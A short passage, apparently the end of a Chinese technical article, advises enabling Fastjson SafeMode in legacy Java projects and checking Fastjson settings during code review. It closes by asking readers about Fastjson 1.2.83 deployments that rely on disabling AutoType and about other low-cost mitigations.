1.x组件存量项目开发需求变更时同步开启SafeMode安全模式代码评审阶段重点校验Fastjson相关配置。八、结尾互动你们公司线上Spring Boot FatJar业务是否还在使用Fastjson 1.2.83仅依靠关闭AutoType做防护存量老旧Java项目无法立刻替换Fastjson组件除开启SafeMode之外还有哪些低成本临时缓解手段